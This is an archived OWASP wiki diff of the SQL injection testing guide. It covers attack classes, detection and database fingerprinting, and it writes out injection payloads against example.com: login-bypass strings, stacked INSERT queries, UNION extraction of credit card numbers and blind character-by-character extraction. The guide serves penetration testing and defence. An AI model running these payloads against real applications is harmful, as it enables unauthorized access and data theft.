This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Testing for SQL Injection (OTG-INPVAL-005)"

From OWASP
Jump to: navigation, search
m (Brief Summary)
(SQL Injection signature Evasion Techniques)
 
(32 intermediate revisions by 8 users not shown)
Line 2: Line 2:
  
 
                  
 
                  
==Brief Summary ==
+
== Summary ==  
 +
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.
  
 
A [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.
 
  
==Description of the Issue ==
+
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:
 
 
 
In general the way web
 
applications construct SQL statements involving SQL syntax wrote by the
 
programmers mixed with user-supplied data. Example:
 
 
   
 
   
 
<pre>select title, text from news where id=$id</pre>
 
<pre>select title, text from news where id=$id</pre>
 
   
 
   
The red part is the SQL static
+
 
part supplied by the programmer and the variable $id contains user-supplied
+
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.
data, making the SQL statement dynamic.
+
 
 
   
 
   
Because the way it was
+
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.
constructed, the user can supply crafted input trying to make the original SQL
+
 
statement execute commands at user’s behavior. The example illustrates the
 
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,
 
modifying the WHERE clause adding a condition “or 1=1”.
 
 
   
 
   
 
<pre>select title, text from news where id=10 or 1=1</pre>
 
<pre>select title, text from news where id=10 or 1=1</pre>
  
SQL Injection attacks can
 
be divided into the following three classes:
 
  
 +
SQL Injection attacks can be divided into the following three classes:
 +
 +
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
 +
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
 +
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.
 
   
 
   
* Inband: data is extracted using the same      channel that is used to inject the SQL code. This is the most      straightforward kind of attack, in which the retrieved data is presented      directly in the application web page.
+
 
* Out-of-band: data is retrieved using a      different channel (e.g., an email with the results of the query is      generated and sent to the tester).
+
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.  
* Inferential: there is no actual transfer      of data, but the tester is able to reconstruct the information by sending      particular requests and observing the resulting behavior of the DB Server.
 
 
   
 
   
Independent of the attack
+
 
class, a successful SQL Injection attack requires the attacker to craft a
+
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):
syntactically correct SQL Query. If the application returns an error message
 
generated by an incorrect query, then it is easy to reconstruct the logic of
 
the original query and, therefore, understand how to perform the injection
 
correctly. However, if the application hides the error details, then the tester
 
must be able to reverse engineer the logic of the original query. The latter
 
case is known as &quot;[[Blind SQL Injection]]&quot;.
 
 
   
 
   
About the techniques to
+
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
exploit SQL injection flaws there are five commons techniques. Also those
+
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
techniques sometimes can be used in a combined way (e.g. union operator and
+
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
out-of-band):
+
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
 +
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.
 +
 
 +
==How to Test==
 +
 
 +
===Detection Techniques===
 +
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:
 +
 
 +
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
 +
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
 +
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a  database.
 
   
 
   
* Union Operator: usually can be used when      the SQL injection flaw happens in a SELECT statement, making possible to      combine two queries into a single result.
 
* Boolean: use Boolean condition to verify      if certain conditions are true or false.
 
* Error based: this technique forces the      database to generate an error making
 
* Out-of-band: technique used to retrieve data      using a different channel (e.g., make a HTTP connection to send the      results to a web server).
 
* Time delay: use database commands (e.g.      sleep) to delay answers in conditional queries. It useful when attacker doesn’t      have some kind of answer from the application.
 
  
+
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.
==SQL Injection Detection ==
 
  
 
The first step in this test is to understand when the
 
application connects to a DB Server in order to access some data. Typical
 
examples of cases when an application needs to talk to a DB include:
 
  
* Authentication forms: when authentication is      performed using a web form, chances are that the user credentials are      checked against a database that contains all usernames and passwords (or,      better, password hashes)
+
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):
* Search engines: the string submitted by the user      could be used in a SQL query that extracts all relevant records from a      database
 
* E-Commerce sites: the products and their      characteristics (price, description, availability etc) are very likely to      be stored in a relational database.
 
 
The tester has to make a list of all input fields
 
whose values could be used in crafting a SQL query, including the hidden fields
 
of POST requests and then test them separately, trying to interfere with the
 
query and to generate an error. Consider also HTTP headers and Cookies. The
 
very first test usually consists of adding a single quote (') or a semicolon
 
(;) to the field under test. The first is used in SQL as a string terminator
 
and, if not filtered by the application, would lead to an incorrect query. The
 
second is used to end a SQL statement and, if it is not filtered, it is also
 
likely to generate an error. The output of a vulnerable field might resemble
 
the following (on a Microsoft SQL Server, in this case):
 
 
   
 
   
 
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
Line 84: Line 58:
 
/target/target.asp, line 113</pre>
 
/target/target.asp, line 113</pre>
 
   
 
   
Also comments (--) and other SQL keywords like 'AND'
+
 
and 'OR' can be used to try to modify the query. A very simple but sometimes
+
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:
still effective technique is simply to insert a string where a number is
 
expected, as an error like the following might be generated:
 
  
 
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
Line 95: Line 67:
 
</pre>
 
</pre>
 
    
 
    
Monitor all the responses from the web server and have
 
a look at the HTML/javascript source code. Sometimes
 
the error is present inside them but for some reason (e.g. javascript
 
error) is not presented to the user. A full error message, like those in the
 
examples, provides a wealth of information to the tester in order to mount a
 
successful injection. However, applications often do not provide so much
 
detail: a simple '500 Server Error' or a custom error page might be issued,
 
meaning that we need to use blind injection techniques. In any case, it is very
 
important to test each field separately: only one variable must vary while all
 
the other remain constant, in order to precisely understand which parameters
 
are vulnerable and which are not.
 
  
 +
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.
 
   
 
   
=== Standard SQL Injection Testing ===
 
  
+
===Standard SQL Injection Testing===
Example 1 (classical SQL Injection):
+
 
 +
====Example 1 (classical SQL Injection):====
  
 
Consider the following SQL query:
 
Consider the following SQL query:
Line 117: Line 79:
 
<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>
 
<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>
 
   
 
   
A similar query is generally used from the web
+
 
application in order to authenticate a user. If the query returns a value it
+
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:
means that inside the database a user with that
 
credentials exists, then the user is allowed to login to the system, otherwise
 
the access is denied. The values of the input fields are generally obtained
 
from the user through a web form. Suppose we insert the following Username and
 
Password values:
 
 
   
 
   
 
<pre>$username = 1' or '1' = '1</pre>
 
<pre>$username = 1' or '1' = '1</pre>
Line 129: Line 86:
 
<pre>$password = 1' or '1' = '1</pre>
 
<pre>$password = 1' or '1' = '1</pre>
 
   
 
   
 +
 
The query will be:
 
The query will be:
 
   
 
   
 
<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>
 
<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>
 
   
 
   
If we suppose that the values of the parameters are
+
 
sent to the server through the GET method, and if the domain of the vulnerable
+
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:
web site is www.example.com, the request that we'll carry out will be:
 
 
   
 
   
 
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1 </pre>
 
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1 </pre>
 
   
 
   
After a short analysis we notice that the query
+
 
returns a value (or a set of values) because the condition is always true (OR
+
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.<br> ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:
1=1). In this way the system has authenticated the user without knowing the
 
username and password.<br> ''In some systems the first row of a user table would be an administrator
 
user. This may be the profile returned in some cases.'' Another example of
 
query is the following:
 
 
   
 
   
 
<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>
 
<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>
 
   
 
   
In this case, there are two problems, one due to the
+
 
use of the parentheses and one due to the use of MD5 hash function. First of
+
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &quot;--&quot;. This said, the values that we'll use as Username and Password are:
all, we resolve the problem of the parentheses. That simply consists of adding
 
a number of closing parentheses until we obtain a corrected query. To resolve
 
the second problem, we try to invalidate the second condition. We add to our
 
query a final symbol that means that a comment is beginning. In this way,
 
everything that follows such symbol is considered a comment. Every DBMS has its
 
own symbols of comment, however, a common symbol to the greater part of the
 
database is /*. In Oracle the symbol is &quot;--&quot;. This said, the values
 
that we'll use as Username and Password are:
 
  
 
<pre>$username = 1' or '1' = '1'))/*</pre>
 
<pre>$username = 1' or '1' = '1'))/*</pre>
Line 163: Line 108:
 
<pre>$password = foo</pre>
 
<pre>$password = foo</pre>
 
   
 
   
 +
 
In this way, we'll get the following query:
 
In this way, we'll get the following query:
  
 
<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
 
<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
 +
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)
 
   
 
   
 +
 
The URL request will be:
 
The URL request will be:
 
   
 
   
 
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo </pre>
 
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo </pre>
 
   
 
   
This returns a number of values. Sometimes, the
+
 
authentication code verifies that the number of returned tuple
+
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &quot;LIMIT &lt;num&gt;&quot;, where &lt;num&gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:
is exactly equal to 1. In the previous examples, this situation would be
 
difficult (in the database there is only one value per user). In order to go
 
around this problem, it is enough to insert a SQL command that imposes the
 
condition that the number of the returned tuple must
 
be one. (One record returned) In order to reach this goal, we use the operator
 
&quot;LIMIT &lt;num&gt;&quot;, where &lt;num&gt; is the number of the tuples that we expect to be returned. With respect to the
 
previous example, the value of the fields Username and
 
Password will be modified as follows:
 
  
 
<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>
 
<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>
Line 186: Line 126:
 
<pre>$password = foo </pre>
 
<pre>$password = foo </pre>
 
   
 
   
 +
 
In this way, we create a request like the follow:
 
In this way, we create a request like the follow:
  
Line 191: Line 132:
  
 
    
 
    
Example 2 (simple SELECT statement):
+
====Example 2 (simple SELECT statement):====
  
 
 
Consider the following SQL query:
 
Consider the following SQL query:
 
 
   
 
   
 
<pre>SELECT * FROM products WHERE id_product=$id_product</pre>
 
<pre>SELECT * FROM products WHERE id_product=$id_product</pre>
  
 
   
 
   
Consider also the request to a script who executes the
+
Consider also the request to a script who executes the query above:
query above:
 
  
 
 
<pre>http://www.example.com/product.php?id=10</pre>
 
<pre>http://www.example.com/product.php?id=10</pre>
  
 
   
 
   
When the tester
+
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.
try a valid value (e.g. 10 in this case), the application will return the
 
description of a product.
 
A good way to test if the application is vulnerable in this scenario
 
is play with logic, using the operators AND and OR.
 
  
 
   
 
   
 
Consider the request:
 
Consider the request:
  
 
 
<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>
 
<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>
  
Line 223: Line 155:
  
 
   
 
   
In this case, probably the application would return
+
In this case, probably the application would return some message telling us there is no content available or a blank page. Then
some message telling us there is no content available or a blanket page. Then
 
 
the tester can send a true statement and check if there is a valid result:
 
the tester can send a true statement and check if there is a valid result:
 
 
   
 
   
 
<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>
 
<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>
  
 
   
 
   
This second example can also be used to test Blind Sql Injection.
+
====Example 3 (Stacked queries):====
  
+
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.
Example 3 (Stacked queries):
 
  
 
Depending on the API which the web application is using
 
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER)  is possible to
 
execute multiple queries in one call.
 
  
 
 
Consider the following SQL query:
 
Consider the following SQL query:
  
 
 
<pre>SELECT * FROM products WHERE id_product=$id_product</pre>
 
<pre>SELECT * FROM products WHERE id_product=$id_product</pre>
  
Line 250: Line 173:
 
A way to exploit the above scenario would be:
 
A way to exploit the above scenario would be:
  
 
 
<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>
 
<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>
  
 
   
 
   
This way is possible to execute many queries in a row
+
This way is possible to execute many queries in a row and independent of the first query.
and independent on the first query.
 
  
 
   
 
   
=== Fingerprinting the Database ===
+
===Fingerprinting the Database===
 
   
 
   
Even the SQL language is a standard,
+
Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.
every DBMS has its peculiarity and differs from each other in many aspects like
 
especial commands, functions to retrieve data such as users names and
 
databases, features, comments line etc.
 
  
 
   
 
   
When the testers move to a more advanced SQL injection
+
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.
exploitation they need to know the backend.
+
 
 +
1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:
  
 
1) The first way to find out which is the backend is by
 
observing the error returned by the application. Follow are some examples:
 
  
 
 
MySql:
 
MySql:
 
   
 
   
Line 279: Line 194:
 
that corresponds to your MySQL server version for the
 
that corresponds to your MySQL server version for the
 
right syntax to use near '\'' at line 1</pre>
 
right syntax to use near '\'' at line 1</pre>
 +
 +
One complete UNION SELECT with version() can also help to know the back end database.
 +
 +
<pre> SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1</pre>
 
   
 
   
  
Line 286: Line 205:
 
   
 
   
  
SQL Server:
+
MS SQL Server:
  
 
<pre>Microsoft SQL Native Client error ‘80040e14’
 
<pre>Microsoft SQL Native Client error ‘80040e14’
 
Unclosed quotation mark after the character string</pre>
 
Unclosed quotation mark after the character string</pre>
 +
 +
<pre> SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1</pre>
  
 
   
 
   
Line 298: Line 219:
  
 
   
 
   
2) If there is no error message or a custom error message,
+
2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:
the tester can try to inject into string field using concatenation technique:
 
  
 
   
 
   
Line 310: Line 230:
 
PostgreSQL: ‘test’||’ing’
 
PostgreSQL: ‘test’||’ing’
  
 
+
===Exploitation Techniques ===
==Exploitation techniques ==
 
 
   
 
   
=== Union Exploitation technique ===
+
==== Union Exploitation Technique ====
 
    
 
    
The UNION operator is used
+
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:
in SQL injections to join a query, purposely forged by the tester, to the
 
original query. The result of the forged query will be joined to the result of
 
the original query, allowing the tester to obtain the values of fields of other
 
tables. We suppose for our examples that the query executed from the server is
 
the following:
 
  
 
   
 
   
SELECT
+
<pre>SELECT Name, Phone, Address FROM Users WHERE Id=$id</pre>
Name, Phone, Address FROM Users WHERE Id=$id
 
  
 
   
 
   
We will set the following
+
We will set the following $id value:
Id value:
 
  
 
   
 
   
$id=1
+
<pre>$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
 
  
 
   
 
   
We will have the following
+
We will have the following query:
query:
 
  
 
   
 
   
SELECT
+
<pre>SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
 
  
 
   
 
   
which will join the result of the original query
+
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.
with all the credit card users. The keyword '''ALL''' is necessary to get
 
around queries that use the keyword DISTINCT. Moreover, we notice that beyond
 
the credit card numbers, we have selected other two values. These two values
 
are necessary, because the two query must have an
 
equal number of parameters, in order to avoid a syntax error.
 
  
 
   
 
   
The first
+
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.
information the tester need to exploit the SQL injection vulnerability using
 
such technique is to find the right numbers of columns in the SELECT statement.
 
  
 
   
 
   
In order to
+
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:
achieve it the tester can use ORDER BY clause followed by a number indicating
 
the numeration of database’s column selected:
 
  
 
   
 
   
Line 364: Line 264:
  
 
   
 
   
If the query executes with success the tester will see
+
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:
the tester can assume, in this example, there are 10 or more columns in the
 
SELECT statement. If the query fails and there is an error message available
 
probably it would be:
 
  
 
   
 
   
Line 373: Line 270:
  
 
   
 
   
After the tester find out the numbers of columns, the
+
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:
next step is to find out the type of columns. Assuming there were 3 columns in
 
the example above, the tester could try each column type, using the NULL value
 
to help them:
 
  
 
   
 
   
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre>
+
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>
  
 
   
 
   
If the query fails, probably the tester will see a
+
If the query fails, the tester will probably see a message like:
message like:
 
 
   
 
   
 
<pre>All cells in a column must have the same datatype</pre>
 
<pre>All cells in a column must have the same datatype</pre>
 
   
 
   
If the query executes with success, the first column
+
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:
can be an integer. Then the tester can move further and so on:
 
  
 
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>
 
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>
 
   
 
   
After the success exploitation, depending on the
+
 
application, it will show to the tester only the first result, because the
+
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):
application treats only the first line of the result. In this case, it is
 
possible to use LIMIT like clause or the tester can set an invalid value,
 
making only the second line valid (supposing there is no entry in the database
 
which ID is 99999):
 
  
 
   
 
   
 
<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>
 
<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>
  
 +
==== Boolean Exploitation Technique ====
 
   
 
   
=== Boolean Exploitation technique ===
+
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). <br>
+
 
The Boolean exploitation technique is very useful when
+
 
the tester find a [[Blind SQL Injection]] situation, in
+
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:
which nothing is known on the outcome of an operation. For example, this
 
behavior happens in cases where the programmer has created a custom error page
 
that does not reveal anything on the structure of the query or on the database.
 
(The page does not return a SQL error, it may just
 
return a HTTP 500). <br>
 
By using the inference methods, it is possible to avoid this obstacle and thus
 
to succeed to recover the values of some desired fields. This method consists
 
of carrying out a series of boolean
 
queries to the server, observing the answers and finally deducing the meaning
 
of such answers. We consider, as always, the www.example.com domain and we
 
suppose that it contains a parameter named id vulnerable to SQL injection. This
 
means that carrying out the following request:
 
  
 
   
 
   
 
<pre>http://www.example.com/index.php?id=1'</pre>
 
<pre>http://www.example.com/index.php?id=1'</pre>
 
   
 
   
we will get one page with a custom message error which
+
 
is due to a syntactic error in the query. We suppose that the query executed on
+
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:
the server is:
 
  
 
   
 
   
Line 431: Line 307:
 
</pre>
 
</pre>
 
   
 
   
which is exploitable through the methods seen previously.
+
 
What we want to obtain is the values of the username field. The tests that we
+
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:
will execute will allow us to obtain the value of the username field,
 
extracting such value character by character. This is possible through the use
 
of some standard functions, present practically in every database. For our
 
examples, we will use the following pseudo-functions:
 
  
 
   
 
   
'''SUBSTRING (text, start, length)''': it returns a
+
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &quot;start&quot; of text and of length
substring starting from the position &quot;start&quot; of text and of length
+
&quot;length&quot;. If &quot;start&quot; is greater than the length of text, the function returns a null value.
&quot;length&quot;. If &quot;start&quot; is greater than the length of text,
 
the function returns a null value.
 
  
 
   
 
   
'''ASCII (char)''': it gives back ASCII value of the input character. A
+
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.
null value is returned if char is 0.
 
  
 
   
 
   
'''LENGTH (text)''': it gives back the length in characters of the input
+
'''LENGTH (text)''': it gives back the number of characters in the input text.
text.
 
  
 
   
 
   
Through such functions, we will execute our tests on
+
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':
the first character and, when we have discovered the value, we will pass to the
 
second and so on, until we will have discovered the entire value. The tests
 
will take advantage of the function SUBSTRING, in order to select only one
 
character at a time (selecting a single character means to impose the length
 
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so
 
that we can do numerical comparison. The results of the comparison will be done
 
with all the values of the ASCII table, until the right value is found. As an
 
example, we will use the following value for ''Id'':
 
  
 
   
 
   
Line 467: Line 327:
 
</pre>
 
</pre>
 
   
 
   
that creates the following query (from now on, we will
+
 
call it &quot;inferential query&quot;):
+
That creates the following query (from now on, we will call it &quot;inferential query&quot;):
  
 
   
 
   
Line 474: Line 334:
 
</pre>
 
</pre>
 
   
 
   
The previous example returns a result if and only if
+
 
the first character of the field username is equal to the ASCII value 97. If we
+
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':
get a false value, then we increase the index of the ASCII table from 97 to 98
 
and we repeat the request. If instead we obtain a true value, we set to zero
 
the index of the ASCII table and we analyze the next character, modifying the
 
parameters of the SUBSTRING function. The problem is to understand in which way
 
we can distinguish tests returning a true value from those that return false.
 
To do this, we create a query that always returns false. This is possible by
 
using the following value for ''Id'':
 
  
 
   
 
   
Line 488: Line 341:
 
</pre>
 
</pre>
 
   
 
   
by which will create the following query:
+
 
 +
Which will create the following query:
  
 
   
 
   
Line 494: Line 348:
 
</pre>
 
</pre>
 
   
 
   
The obtained response from the server (that is HTML
+
 
code) will be the false value for our tests. This is enough to verify whether
+
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
the value obtained from the execution of the inferential query is equal to the
 
value obtained with the test executed before. Sometimes, this method does not
 
work. If the server returns two different pages as a result of two identical
 
consecutive web requests, we will not be able to discriminate the true value
 
from the false value. In these particular cases, it is necessary to use
 
particular filters that allow us to eliminate the code that changes between the
 
two requests and to obtain a template. Later on, for every inferential request
 
executed, we will extract the relative template from the response using the
 
same function, and we will perform a control between the two templates in order
 
 
to decide the result of the test.
 
to decide the result of the test.
  
 
   
 
   
In the previous discussion, we haven't dealt with the
+
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.
problem of determining the termination condition for out tests, i.e., when we
 
should end the inference procedure. A techniques to do
 
this uses one characteristic of the SUBSTRING function and the LENGTH function.
 
When the test compares the current character with the ASCII code 0 (i.e., the
 
value null) and the test returns the value true, then either we are done with
 
the inference procedue (we have scanned the whole
 
string), or the value we have analyzed contains the null character.
 
  
 
   
 
   
Line 524: Line 362:
 
</pre>
 
</pre>
 
   
 
   
Where N is the number of characters that we have
+
 
analyzed up to now (not counting the null value). The query will be:
+
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:
  
 
   
 
   
Line 531: Line 369:
 
</pre>
 
</pre>
 
   
 
   
The query returns either true or false. If we obtain
+
 
